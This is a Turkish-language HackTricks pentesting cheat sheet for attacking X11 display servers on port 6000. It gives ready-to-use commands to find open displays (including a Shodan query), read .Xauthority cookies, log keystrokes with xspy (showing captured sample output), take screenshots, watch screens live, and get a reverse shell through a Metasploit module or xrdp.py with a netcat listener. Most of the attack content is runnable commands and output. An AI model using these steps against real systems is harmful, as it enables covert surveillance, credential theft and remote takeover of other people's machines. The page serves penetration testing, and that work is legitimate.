6000 - Pentesting X11

HackTricks'i Destekleyin

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün Discord üzerinden bize katılın ve en iyi hackerlarla işbirliği yapmaya başlayın!

Temel Bilgiler

X Window System (X), UNIX tabanlı işletim sistemlerinde yaygın olan çok yönlü bir pencereleme sistemidir. Grafiksel kullanıcı arayüzleri (GUI'ler) oluşturmak için bir çerçeve sağlar; bireysel programlar kullanıcı arayüzü tasarımını yönetir. Bu esneklik, X ortamında çeşitli ve özelleştirilebilir deneyimlere olanak tanır.

Varsayılan port: 6000

PORT       STATE   SERVICE
6000/tcp   open    X11

Enumeration

Anonim bağlantıyı kontrol et:

nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11

Yerel Sayım

Kullanıcıların ana dizinindeki .Xauthority dosyası, X11 tarafından yetkilendirme için kullanılır. buradan:

$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d  ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d  IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58  1...R.~..A.....X
00000030: 041d ef                                  ...

MIT-magic-cookie-1: 128bit anahtar (“cookie”) oluşturma, bunu ~/.Xauthority (veya XAUTHORITY envvar'ın işaret ettiği yere) kaydetme. İstemci bunu sunucuya düz metin olarak gönderir! Sunucu bu “cookie”nin bir kopyasına sahip olup olmadığını kontrol eder ve eğer varsa, bağlantıya izin verilir. Anahtar DMX tarafından oluşturulur.

Cookie'yi kullanmak için env var'ı ayarlamalısınız: export XAUTHORITY=/path/to/.Xauthority

Yerel Sıralama Oturumu

$ w
23:50:48 up 1 day, 10:32,  1 user,  load average: 0.29, 6.48, 7.12
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
user     tty7     :0               13Oct23 76days 13:37   2.20s xfce4-session

Örnekte, localhost:0 xfce4-session çalışıyordu.

Bağlantıyı Doğrula

xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0

Keyloggin

xspy klavye tuş vuruşlarını dinlemek için kullanılır.

Sample Output:

xspy 10.9.xx.xx

opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab

Ekran görüntüsü yakalama

xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png

Uzak Masaüstü Görünümü

Way from: https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref

./xrdp.py <IP:0>

Way from: https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html

Öncelikle xwininfo kullanarak pencerenin ID'sini bulmamız gerekiyor.

xwininfo -root -display 10.9.xx.xx:0

xwininfo: Window id: 0x45 (the root window) (has no name)

Absolute upper-left X:  0
Absolute upper-left Y:  0
Relative upper-left X:  0
Relative upper-left Y:  0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners:  +0+0  -0+0  -0-0  +0-0
-geometry 1024x768+0+0

XWatchwin

canlı görüntüleme için kullanmamız gerekiyor

./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45

Shell Elde Etme

msf> use exploit/unix/x11/x11_keyboard_exec

Diğer yol:

Reverse Shell: Xrdp ayrıca Netcat aracılığıyla ters shell almayı da sağlar. Aşağıdaki komutu yazın:

./xrdp.py \<IP:0> –no-disp

Arayüzde R-shell seçeneğini görebilirsiniz.

Sonra, yerel sisteminizde 5555 numaralı portta bir Netcat dinleyicisi başlatın.

nc -lvp 5555

Sonra, IP adresinizi ve portunuzu R-Shell seçeneğine koyun ve bir shell almak için R-shell'e tıklayın.

Referanslar

Shodan

  • port:6000 x11

Deneyimli hackerlar ve bug bounty avcıları ile iletişim kurmak için HackenProof Discord sunucusuna katılın!

Hacking İçgörüleri Hacking'in heyecanı ve zorluklarına dalan içeriklerle etkileşimde bulunun

Gerçek Zamanlı Hack Haberleri Gerçek zamanlı haberler ve içgörülerle hızlı tempolu hacking dünyasında güncel kalın

Son Duyurular Yeni başlayan bug bounty'ler ve önemli platform güncellemeleri hakkında bilgi sahibi olun

Bugün en iyi hackerlarla işbirliği yapmak için Discord 'a katılın!

HackTricks'i Destekleyin

Last updated